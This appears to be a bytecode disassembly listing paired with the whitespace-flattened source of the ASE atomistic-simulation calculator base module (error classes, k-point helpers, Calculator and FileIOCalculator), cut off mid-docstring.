POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST changed_parameters RETURN_VALUE LOAD_GLOBAL compare_atoms LOAD_FAST self LOAD_ATTR atoms LOAD_FAST atoms LOAD_FAST tol LOAD_GLOBAL set LOAD_FAST self LOAD_ATTR ignored_changes CALL_FUNCTION LOAD_CONST ('tol', 'excluded_properties') CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_METHOD get_property LOAD_CONST 'energy' LOAD_FAST atoms CALL_METHOD STORE_FAST energy LOAD_FAST force_consistent POP_JUMP_IF_FALSE LOAD_CONST 'free_energy' LOAD_FAST self LOAD_ATTR results COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ STORE_FAST name LOAD_GLOBAL PropertyNotImplementedError LOAD_CONST 'Force consistent/free energy ("free_energy") not provided by {0} calculator' LOAD_METHOD format LOAD_FAST name CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR results LOAD_CONST 'free_energy' BINARY_SUBSCR RETURN_VALUE LOAD_FAST energy RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST name LOAD_FAST self LOAD_ATTR implemented_properties COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL PropertyNotImplementedError LOAD_CONST '{} property not implemented' LOAD_METHOD format LOAD_FAST name CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST atoms LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR atoms STORE_FAST atoms BUILD_LIST STORE_FAST system_changes JUMP_FORWARD to 66 LOAD_FAST self LOAD_METHOD check_state LOAD_FAST atoms CALL_METHOD STORE_FAST system_changes LOAD_FAST system_changes POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST name LOAD_FAST self LOAD_ATTR results COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST allow_calculation POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD calculate LOAD_FAST atoms LOAD_FAST name BUILD_LIST LOAD_FAST system_changes CALL_METHOD POP_TOP LOAD_FAST name LOAD_FAST self LOAD_ATTR results COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL PropertyNotImplementedError LOAD_CONST '{} not present in this calculation' LOAD_METHOD format LOAD_FAST name CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR results LOAD_FAST name BINARY_SUBSCR STORE_FAST result LOAD_GLOBAL isinstance LOAD_FAST result LOAD_GLOBAL np LOAD_ATTR ndarray CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST result LOAD_METHOD copy CALL_METHOD STORE_FAST result LOAD_FAST result RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST properties LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_METHOD check_state LOAD_FAST atoms CALL_METHOD STORE_FAST system_changes LOAD_FAST system_changes POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE SETUP_LOOP to 60 LOAD_FAST properties GET_ITER FOR_ITER to 58 STORE_FAST name LOAD_FAST name LOAD_FAST self LOAD_ATTR results COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_CONST False RETURN_VALUE LOAD_FAST atoms LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST atoms LOAD_METHOD copy CALL_METHOD LOAD_FAST self STORE_ATTR atoms LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST self LOAD_ATTR _directory CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD makedirs LOAD_FAST self LOAD_ATTR _directory CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('numeric_force',) IMPORT_NAME ase.calculators.test IMPORT_FROM numeric_force STORE_DEREF numeric_force POP_TOP LOAD_GLOBAL np LOAD_METHOD array LOAD_CLOSURE atoms LOAD_CLOSURE d LOAD_CLOSURE numeric_force BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6f1ef1540, file "f.py", line 846> LOAD_CONST 'Calculator.calculate_numerical_forces.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_GLOBAL len LOAD_DEREF atoms CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 38 STORE_DEREF a LOAD_CLOSURE a LOAD_CLOSURE atoms LOAD_CLOSURE d LOAD_CLOSURE numeric_force BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fa6f1ef14b0, file "f.py", line 846> LOAD_CONST 'Calculator.calculate_numerical_forces.<locals>.<listcomp>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION GET_ITER CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 24 STORE_FAST i LOAD_DEREF numeric_force LOAD_DEREF atoms LOAD_DEREF a LOAD_FAST i LOAD_DEREF d CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL np LOAD_ATTR zeros LOAD_CONST (3, 3) LOAD_GLOBAL float LOAD_CONST ('dtype',) CALL_FUNCTION STORE_FAST stress LOAD_FAST atoms LOAD_ATTR cell LOAD_METHOD copy CALL_METHOD STORE_FAST cell LOAD_FAST atoms LOAD_METHOD get_volume CALL_METHOD STORE_FAST V EXTENDED_ARG SETUP_LOOP to 400 LOAD_GLOBAL range LOAD_CONST 3 CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 398 STORE_FAST i LOAD_GLOBAL np LOAD_METHOD eye LOAD_CONST 3 CALL_METHOD STORE_FAST x LOAD_FAST x LOAD_FAST i LOAD_FAST i BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_FAST d INPLACE_ADD ROT_THREE STORE_SUBSCR LOAD_FAST atoms LOAD_ATTR set_cell LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST cell LOAD_FAST x CALL_METHOD LOAD_CONST True LOAD_CONST ('scale_atoms',) CALL_FUNCTION POP_TOP LOAD_FAST atoms LOAD_ATTR get_potential_energy LOAD_CONST True LOAD_CONST ('force_consistent',) CALL_FUNCTION STORE_FAST eplus LOAD_FAST x LOAD_FAST i LOAD_FAST i BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_CONST 2 LOAD_FAST d BINARY_MULTIPLY INPLACE_SUBTRACT ROT_THREE STORE_SUBSCR LOAD_FAST atoms LOAD_ATTR set_cell LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST cell LOAD_FAST x CALL_METHOD LOAD_CONST True LOAD_CONST ('scale_atoms',) CALL_FUNCTION POP_TOP LOAD_FAST atoms LOAD_ATTR get_potential_energy LOAD_CONST True LOAD_CONST ('force_consistent',) CALL_FUNCTION STORE_FAST eminus LOAD_FAST eplus LOAD_FAST eminus BINARY_SUBTRACT LOAD_CONST 2 LOAD_FAST d BINARY_MULTIPLY LOAD_FAST V BINARY_MULTIPLY BINARY_TRUE_DIVIDE LOAD_FAST stress LOAD_FAST i LOAD_FAST i BUILD_TUPLE STORE_SUBSCR LOAD_FAST x LOAD_FAST i LOAD_FAST i BUILD_TUPLE DUP_TOP BINARY_SUBSCR LOAD_FAST d INPLACE_ADD ROT_THREE STORE_SUBSCR LOAD_FAST i LOAD_CONST 2 BINARY_SUBTRACT STORE_FAST j LOAD_FAST d LOAD_FAST x LOAD_FAST i LOAD_FAST j BUILD_TUPLE STORE_SUBSCR LOAD_FAST d LOAD_FAST x LOAD_FAST j LOAD_FAST i BUILD_TUPLE STORE_SUBSCR LOAD_FAST atoms LOAD_ATTR set_cell LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST cell LOAD_FAST x CALL_METHOD LOAD_CONST True LOAD_CONST ('scale_atoms',) CALL_FUNCTION POP_TOP LOAD_FAST atoms LOAD_ATTR get_potential_energy LOAD_CONST True LOAD_CONST ('force_consistent',) CALL_FUNCTION STORE_FAST eplus LOAD_FAST d UNARY_NEGATIVE LOAD_FAST x LOAD_FAST i LOAD_FAST j BUILD_TUPLE STORE_SUBSCR LOAD_FAST d UNARY_NEGATIVE LOAD_FAST x LOAD_FAST j LOAD_FAST i BUILD_TUPLE STORE_SUBSCR LOAD_FAST atoms LOAD_ATTR set_cell LOAD_GLOBAL np LOAD_METHOD dot LOAD_FAST cell LOAD_FAST x CALL_METHOD LOAD_CONST True LOAD_CONST ('scale_atoms',) CALL_FUNCTION POP_TOP LOAD_FAST atoms LOAD_ATTR get_potential_energy LOAD_CONST True LOAD_CONST ('force_consistent',) CALL_FUNCTION STORE_FAST eminus LOAD_FAST eplus LOAD_FAST eminus BINARY_SUBTRACT LOAD_CONST 4 LOAD_FAST d BINARY_MULTIPLY LOAD_FAST V BINARY_MULTIPLY BINARY_TRUE_DIVIDE LOAD_FAST stress LOAD_FAST i LOAD_FAST j BUILD_TUPLE STORE_SUBSCR LOAD_FAST stress LOAD_FAST i LOAD_FAST j BUILD_TUPLE BINARY_SUBSCR LOAD_FAST stress LOAD_FAST j LOAD_FAST i BUILD_TUPLE STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK LOAD_FAST atoms LOAD_ATTR set_cell LOAD_FAST cell LOAD_CONST True LOAD_CONST ('scale_atoms',) CALL_FUNCTION POP_TOP LOAD_FAST voigt EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST stress LOAD_ATTR flat LOAD_CONST 0 LOAD_CONST 4 LOAD_CONST 8 LOAD_CONST 5 LOAD_CONST 2 LOAD_CONST 1 BUILD_LIST BINARY_SUBSCR RETURN_VALUE LOAD_FAST stress RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_CONST 'This calculator does not implement get_spin_polarized(). In the future, calc.get_spin_polarized() will work only on calculator classes that explicitly implement this method or inherit the method via specialized subclasses.' STORE_FAST msg LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_FAST msg LOAD_GLOBAL FutureWarning CALL_METHOD POP_TOP LOAD_CONST False RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('get_band_structure',) IMPORT_NAME ase.spectrum.band_structure IMPORT_FROM get_band_structure STORE_FAST get_band_structure POP_TOP LOAD_FAST get_band_structure LOAD_FAST self LOAD_CONST ('calc',) CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 36 LOAD_FAST properties GET_ITER FOR_ITER to 34 STORE_FAST name LOAD_FAST name LOAD_GLOBAL all_outputs COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'No such property: ' LOAD_FAST name FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR calculate LOAD_FAST atoms LOAD_FAST properties LOAD_GLOBAL all_changes LOAD_CONST ('system_changes',) CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD export_properties CALL_METHOD STORE_FAST props SETUP_LOOP to 90 LOAD_FAST properties GET_ITER FOR_ITER to 88 STORE_FAST name LOAD_FAST name LOAD_FAST props COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL PropertyNotPresent LOAD_FAST name CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST props RETURN_VALUE LOAD_GLOBAL Properties LOAD_FAST self LOAD_ATTR results CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FileIOCalculator' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST 'Base class for calculators that write/read input/output files.' STORE_NAME __doc__ LOAD_CONST None STORE_NAME command LOAD_NAME Optional LOAD_NAME str BINARY_SUBSCR LOAD_NAME __annotations__ LOAD_CONST 'command' STORE_SUBSCR LOAD_CONST None LOAD_NAME Calculator LOAD_ATTR _deprecated LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fa6f1ef19c0, file "f.py", line 932> LOAD_CONST 'FileIOCalculator.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None LOAD_CONST 'energy' BUILD_LIST LOAD_NAME all_changes BUILD_TUPLE LOAD_CONST <code object calculate at 0x7fa6f1ef1a50, file "f.py", line 957> LOAD_CONST 'FileIOCalculator.calculate' MAKE_FUNCTION STORE_NAME calculate LOAD_CONST (None, None) LOAD_CONST <code object write_input at 0x7fa6f1ef1ae0, file "f.py", line 989> LOAD_CONST 'FileIOCalculator.write_input' MAKE_FUNCTION STORE_NAME write_input LOAD_CONST <code object read_results at 0x7fa6f1ef1b70, file "f.py", line 999> LOAD_CONST 'FileIOCalculator.read_results' MAKE_FUNCTION STORE_NAME read_results LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Calculator LOAD_ATTR __init__ LOAD_FAST self LOAD_FAST restart LOAD_FAST ignore_bad_restart_file LOAD_FAST label LOAD_FAST atoms BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST command LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST command LOAD_FAST self STORE_ATTR command JUMP_FORWARD to 74 LOAD_CONST 'ASE_' LOAD_FAST self LOAD_ATTR name LOAD_METHOD upper CALL_METHOD BINARY_ADD LOAD_CONST '_COMMAND' BINARY_ADD STORE_FAST name LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_FAST name LOAD_FAST self LOAD_ATTR command CALL_METHOD LOAD_FAST self STORE_ATTR command LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Calculator LOAD_METHOD calculate LOAD_FAST self LOAD_FAST atoms LOAD_FAST properties LOAD_FAST system_changes CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD write_input LOAD_FAST self LOAD_ATTR atoms LOAD_FAST properties LOAD_FAST system_changes CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR command LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL CalculatorSetupError LOAD_CONST 'Please set ${} environment variable ' LOAD_METHOD format LOAD_CONST 'ASE_' LOAD_FAST self LOAD_ATTR name LOAD_METHOD upper CALL_METHOD BINARY_ADD LOAD_CONST '_COMMAND' BINARY_ADD CALL_METHOD LOAD_CONST 'or supply the command keyword' BINARY_ADD CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_ATTR command STORE_FAST command LOAD_CONST 'PREFIX' LOAD_FAST command COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST command LOAD_METHOD replace LOAD_CONST 'PREFIX' LOAD_FAST self LOAD_ATTR prefix CALL_METHOD STORE_FAST command SETUP_EXCEPT to 126 LOAD_GLOBAL subprocess LOAD_ATTR Popen LOAD_FAST command LOAD_CONST True LOAD_FAST self LOAD_ATTR directory LOAD_CONST ('shell', 'cwd') CALL_FUNCTION STORE_FAST proc POP_BLOCK JUMP_FORWARD to 180 DUP_TOP LOAD_GLOBAL OSError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST err POP_TOP SETUP_FINALLY to 166 LOAD_CONST 'Failed to execute "{}"' LOAD_METHOD format LOAD_FAST command CALL_METHOD STORE_FAST msg LOAD_GLOBAL EnvironmentError LOAD_FAST msg CALL_FUNCTION LOAD_FAST err RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST err DELETE_FAST err END_FINALLY POP_EXCEPT JUMP_FORWARD to 180 END_FINALLY LOAD_FAST proc LOAD_METHOD wait CALL_METHOD STORE_FAST errorcode LOAD_FAST errorcode POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_FAST self LOAD_ATTR directory CALL_METHOD STORE_FAST path LOAD_CONST 'Calculator "{}" failed with command "{}" failed in {} with error code {}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR name LOAD_FAST command LOAD_FAST path LOAD_FAST errorcode CALL_METHOD STORE_FAST msg LOAD_GLOBAL CalculationFailed LOAD_FAST msg CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD read_results CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD abspath LOAD_FAST self LOAD_ATTR directory CALL_METHOD STORE_FAST absdir LOAD_FAST absdir LOAD_GLOBAL os LOAD_ATTR curdir COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST self LOAD_ATTR directory CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_METHOD makedirs LOAD_FAST self LOAD_ATTR directory CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE
import os import copy import subprocess from math import pi, sqrt import pathlib from typing import Union, Optional, List, Set, Dict, Any import warnings import numpy as np from ase.cell import Cell from ase.outputs import Properties, all_outputs from ase.utils import jsonable from ase.calculators.abc import GetPropertiesMixin class CalculatorError(RuntimeError): """Base class of error types related to ASE calculators.""" class CalculatorSetupError(CalculatorError): """Calculation cannot be performed with the given parameters. Reasons to raise this errors are: * The calculator is not properly configured (missing executable, environment variables, ...) * The given atoms object is not supported * Calculator parameters are unsupported Typically raised before a calculation.""" class EnvironmentError(CalculatorSetupError): """Raised if calculator is not properly set up with ASE. May be missing an executable or environment variables.""" class InputError(CalculatorSetupError): """Raised if inputs given to the calculator were incorrect. Bad input keywords or values, or missing pseudopotentials. This may be raised before or during calculation, depending on when the problem is detected.""" class CalculationFailed(CalculatorError): """Calculation failed unexpectedly. Reasons to raise this error are: * Calculation did not converge * Calculation ran out of memory * Segmentation fault or other abnormal termination * Arithmetic trouble (singular matrices, NaN, ...) Typically raised during calculation.""" class SCFError(CalculationFailed): """SCF loop did not converge.""" class ReadError(CalculatorError): """Unexpected irrecoverable error while reading calculation results.""" class PropertyNotImplementedError(NotImplementedError): """Raised if a calculator does not implement the requested property.""" class PropertyNotPresent(CalculatorError): """Requested property is missing. Maybe it was never calculated, or for some reason was not extracted with the rest of the results, without being a fatal ReadError.""" def compare_atoms(atoms1, atoms2, tol=1e-15, excluded_properties=None): """Check for system changes since last calculation. Properties in ``excluded_properties`` are not checked.""" if atoms1 is None: system_changes = all_changes[:] else: system_changes = [] properties_to_check = set(all_changes) if excluded_properties: properties_to_check -= set(excluded_properties) for prop in ["cell", "pbc"]: if prop in properties_to_check: properties_to_check.remove(prop) if not equal(getattr(atoms1, prop), getattr(atoms2, prop), atol=tol): system_changes.append(prop) arrays1 = set(atoms1.arrays) arrays2 = set(atoms2.arrays) system_changes += properties_to_check & (arrays1 ^ arrays2) for prop in properties_to_check & arrays1 & arrays2: if not equal(atoms1.arrays[prop], atoms2.arrays[prop], atol=tol): system_changes.append(prop) return system_changes all_properties = [ "energy", "forces", "stress", "stresses", "dipole", "charges", "magmom", "magmoms", "free_energy", "energies", ] all_changes = [ "positions", "numbers", "cell", "pbc", "initial_charges", "initial_magmoms", ] names = [ "abinit", "ace", "aims", "amber", "asap", "castep", "cp2k", "crystal", "demon", "demonnano", "dftb", "dftd3", "dmol", "eam", "elk", "emt", "espresso", "exciting", "ff", "fleur", "gamess_us", "gaussian", "gpaw", "gromacs", "gulp", "hotbit", "kim", "lammpslib", "lammpsrun", "lj", "mopac", "morse", "nwchem", "octopus", "onetep", "openmx", "orca", "psi4", "qchem", "siesta", "tip3p", "tip4p", "turbomole", "vasp", ] special = { "cp2k": "CP2K", "demonnano": "DemonNano", "dftd3": "DFTD3", "dmol": "DMol3", "eam": "EAM", "elk": "ELK", "emt": "EMT", "crystal": "CRYSTAL", "ff": "ForceField", "fleur": "FLEUR", "gamess_us": "GAMESSUS", "gulp": "GULP", "kim": "KIM", "lammpsrun": "LAMMPS", "lammpslib": "LAMMPSlib", "lj": "LennardJones", "mopac": "MOPAC", "morse": "MorsePotential", "nwchem": "NWChem", "openmx": "OpenMX", "orca": "ORCA", "qchem": "QChem", "tip3p": "TIP3P", "tip4p": "TIP4P", } external_calculators = {} def register_calculator_class(name, cls): """Add the class into the database.""" assert name not in external_calculators external_calculators[name] = cls names.append(name) names.sort() def get_calculator_class(name): """Return calculator class.""" if name == "asap": from asap3 import EMT as Calculator elif name == "gpaw": from gpaw import GPAW as Calculator elif name == "hotbit": from hotbit import Calculator elif name == "vasp2": from ase.calculators.vasp import Vasp2 as Calculator elif name == "ace": from ase.calculators.acemolecule import ACE as Calculator elif name == "Psi4": from ase.calculators.psi4 import Psi4 as Calculator elif name in external_calculators: Calculator = external_calculators[name] else: classname = special.get(name, name.title()) module = __import__("ase.calculators." + name, {}, None, [classname]) Calculator = getattr(module, classname) return Calculator def equal(a, b, tol=None, rtol=None, atol=None): """ndarray-enabled comparison function.""" if tol is not None: msg = "Use `equal(a, b, rtol=..., atol=...)` instead of `tol=...`" warnings.warn(msg, DeprecationWarning) assert ( rtol is None and atol is None ), "Do not use deprecated `tol` with `atol` and/or `rtol`" rtol = tol atol = tol a_is_dict = isinstance(a, dict) b_is_dict = isinstance(b, dict) if a_is_dict or b_is_dict: if not (a_is_dict and b_is_dict): return False if a.keys() != b.keys(): return False return all(equal(a[key], b[key], rtol=rtol, atol=atol) for key in a) if np.shape(a) != np.shape(b): return False if rtol is None and atol is None: return np.array_equal(a, b) if rtol is None: rtol = 0 if atol is None: atol = 0 return np.allclose(a, b, rtol=rtol, atol=atol) def kptdensity2monkhorstpack(atoms, kptdensity=3.5, even=True): """Convert k-point density to Monkhorst-Pack grid size. atoms: Atoms object Contains unit cell and information about boundary conditions. kptdensity: float Required k-point density. Default value is 3.5 point per Ang^-1. even: bool Round up to even numbers. """ recipcell = atoms.cell.reciprocal() kpts = [] for i in range(3): if atoms.pbc[i]: k = 2 * pi * sqrt((recipcell[i] ** 2).sum()) * kptdensity if even: kpts.append(2 * int(np.ceil(k / 2))) else: kpts.append(int(np.ceil(k))) else: kpts.append(1) return np.array(kpts) def kpts2mp(atoms, kpts, even=False): if kpts is None: return np.array([1, 1, 1]) if isinstance(kpts, (float, int)): return kptdensity2monkhorstpack(atoms, kpts, even) else: return kpts def kpts2sizeandoffsets(size=None, density=None, gamma=None, even=None, atoms=None): """Helper function for selecting k-points. Use either size or density. size: 3 ints Number of k-points. density: float K-point density in units of k-points per Ang^-1. gamma: None or bool Should the Gamma-point be included? Yes / no / don't care: True / False / None. even: None or bool Should the number of k-points be even? Yes / no / don't care: True / False / None. atoms: Atoms object Needed for calculating k-point density. """ if size is not None and density is not None: raise ValueError( "Cannot specify k-point mesh size and " "density simultaneously" ) elif density is not None and atoms is None: raise ValueError( 'Cannot set k-points from "density" unless ' "Atoms are provided (need BZ dimensions)." ) if size is None: if density is None: size = [1, 1, 1] else: size = kptdensity2monkhorstpack(atoms, density, None) if even is not None: size = np.array(size) remainder = size % 2 if even: size += remainder else: # Round up to odd numbers size += 1 - remainder offsets = [0, 0, 0] if atoms is None: pbc = [True, True, True] else: pbc = atoms.pbc if gamma is not None: for i, s in enumerate(size): if pbc[i] and s % 2 != bool(gamma): offsets[i] = 0.5 / s return size, offsets @jsonable("kpoints") class KPoints: def __init__(self, kpts=None): if kpts is None: kpts = np.zeros((1, 3)) self.kpts = kpts def todict(self): return vars(self) def kpts2kpts(kpts, atoms=None): from ase.dft.kpoints import monkhorst_pack if kpts is None: return KPoints() if hasattr(kpts, "kpts"): return kpts if isinstance(kpts, dict): if "kpts" in kpts: return KPoints(kpts["kpts"]) if "path" in kpts: cell = Cell.ascell(atoms.cell) return cell.bandpath(pbc=atoms.pbc, **kpts) size, offsets = kpts2sizeandoffsets(atoms=atoms, **kpts) return KPoints(monkhorst_pack(size) + offsets) if isinstance(kpts[0], int): return KPoints(monkhorst_pack(kpts)) return KPoints(np.array(kpts)) def kpts2ndarray(kpts, atoms=None): """Convert kpts keyword to 2-d ndarray of scaled k-points.""" return kpts2kpts(kpts, atoms=atoms).kpts class EigenvalOccupationMixin: """Define 'eigenvalues' and 'occupations' properties on class. eigenvalues and occupations will be arrays of shape (spin, kpts, nbands). Classes must implement the old-fashioned get_eigenvalues and get_occupations methods.""" @property def eigenvalues(self): return self.build_eig_occ_array(self.get_eigenvalues) @property def occupations(self): return self.build_eig_occ_array(self.get_occupation_numbers) def build_eig_occ_array(self, getter): nspins = self.get_number_of_spins() nkpts = len(self.get_ibz_k_points()) nbands = self.get_number_of_bands() arr = np.zeros((nspins, nkpts, nbands)) for s in range(nspins): for k in range(nkpts): arr[s, k, :] = getter(spin=s, kpt=k) return arr class Parameters(dict): """Dictionary for parameters. Special feature: If param is a Parameters instance, then param.xc is a shorthand for param['xc']. """ def __getattr__(self, key): if key not in self: return dict.__getattribute__(self, key) return self[key] def __setattr__(self, key, value): self[key] = value @classmethod def read(cls, filename): """Read parameters from file.""" import ast with open(filename) as fd: txt = fd.read().strip() assert txt.startswith("dict(") assert txt.endswith(")") txt = txt[5:-1] dct = {} for line in txt.splitlines(): key, val = line.split("=", 1) key = key.strip() val = val.strip() if val[-1] == ",": val = val[:-1] dct[key] = ast.literal_eval(val) parameters = cls(dct) return parameters def tostring(self): keys = sorted(self) return ( "dict(" + ",\n ".join("{}={!r}".format(key, self[key]) for key in keys) + ")\n" ) def write(self, filename): pathlib.Path(filename).write_text(self.tostring()) class Calculator(GetPropertiesMixin): """Base-class for all ASE calculators. A calculator must raise PropertyNotImplementedError if asked for a property that it can't calculate. So, if calculation of the stress tensor has not been implemented, get_stress(atoms) should raise PropertyNotImplementedError. This can be achieved simply by not including the string 'stress' in the list implemented_properties which is a class member. These are the names of the standard properties: 'energy', 'forces', 'stress', 'dipole', 'charges', 'magmom' and 'magmoms'. """ implemented_properties: List[str] = [] "Properties calculator can handle (energy, forces, ...)" default_parameters: Dict[str, Any] = {} "Default parameters" ignored_changes: Set[str] = set() "Properties of Atoms which we ignore for the purposes of cache " "invalidation with check_state()." discard_results_on_any_change = False "Whether we purge the results following any change in the set() method. " "Most (file I/O) calculators will probably want this." _deprecated = object() def __init__( self, restart=None, ignore_bad_restart_file=_deprecated, label=None, atoms=None, directory=".", **kwargs, ): """Basic calculator implementation. restart: str Prefix for restart file. May contain a directory. Default is None: don't restart. ignore_bad_restart_file: bool Deprecated, please do not use. Passing more than one positional argument to Calculator() is deprecated and will stop working in the future. Ignore broken or missing restart file. By default, it is an error if the restart file is missing or broken. directory: str or PurePath Working directory in which to read and write files and perform calculations. label: str Name used for all files. Not supported by all calculators. May contain a directory, but please use the directory parameter for that instead. atoms: Atoms object Optional Atoms object to which the calculator will be attached. When restarting, atoms will get its positions and unit-cell updated from file. """ self.atoms = None # copy of atoms object from last calculation self.results = {} # calculated properties (energy, forces, ...) self.parameters = None # calculational parameters self._directory = None # Initialize if ignore_bad_restart_file is self._deprecated: ignore_bad_restart_file = False else: warnings.warn( FutureWarning( 'The keyword "ignore_bad_restart_file" is deprecated and ' "will be removed in a future version of ASE. Passing more " "than one positional argument to Calculator is also " "deprecated and will stop functioning in the future. " "Please pass arguments by keyword (key=value) except " 'optionally the "restart" keyword.' ) ) if restart is not None: try: self.read(restart) # read parameters, atoms and results except ReadError: if ignore_bad_restart_file: self.reset() else: raise self.directory = directory self.prefix = None if label is not None: if self.directory == "." and "/" in label: self.label = label elif "/" not in label: self.label = "/".join((self.directory, label)) else: raise ValueError( "Directory redundantly specified though " 'directory="{}" and label="{}". ' 'Please omit "/" in label.'.format(self.directory, label) ) if self.parameters is None: self.parameters = self.get_default_parameters() if atoms is not None: atoms.calc = self if self.atoms is not None: if not ( equal(atoms.numbers, self.atoms.numbers) and (atoms.pbc == self.atoms.pbc).all() ): raise CalculatorError("Atoms not compatible with file") atoms.positions = self.atoms.positions atoms.cell = self.atoms.cell self.set(**kwargs) if not hasattr(self, "name"): self.name = self.__class__.__name__.lower() if not hasattr(self, "get_spin_polarized"): self.get_spin_polarized = self._deprecated_get_spin_polarized @property def directory(self) -> str: return self._directory @directory.setter def directory(self, directory: Union[str, pathlib.PurePath]): self._directory = str(pathlib.Path(directory)) # Normalize path. @property def label(self): if self.directory == ".": return self.prefix if self.prefix is None: return self.directory + "/" return "{}/{}".format(self.directory, self.prefix) @label.setter def label(self, label): if label is None: self.directory = "." self.prefix = None return tokens = label.rsplit("/", 1) if len(tokens) == 2: directory, prefix = tokens else: assert len(tokens) == 1 directory = "." prefix = tokens[0] if prefix == "": prefix = None self.directory = directory self.prefix = prefix def set_label(self, label): """Set label and convert label to directory and prefix. Examples: * label='abc': (directory='.', prefix='abc') * label='dir1/abc': (directory='dir1', prefix='abc') * label=None: (directory='.', prefix=None) """ self.label = label def get_default_parameters(self): return Parameters(copy.deepcopy(self.default_parameters)) def todict(self, skip_default=True): defaults = self.get_default_parameters() dct = {} for key, value in self.parameters.items(): if hasattr(value, "todict"): value = value.todict() if skip_default: default = defaults.get(key, "_no_default_") if default != "_no_default_" and equal(value, default): continue dct[key] = value return dct def reset(self): """Clear all information from old calculation.""" self.atoms = None self.results = {} def read(self, label): """Read atoms, parameters and calculated properties from output file. Read result from self.label file. Raise ReadError if the file is not there. If the file is corrupted or contains an error message from the calculation, a ReadError should also be raised. In case of succes, these attributes must set: atoms: Atoms object The state of the 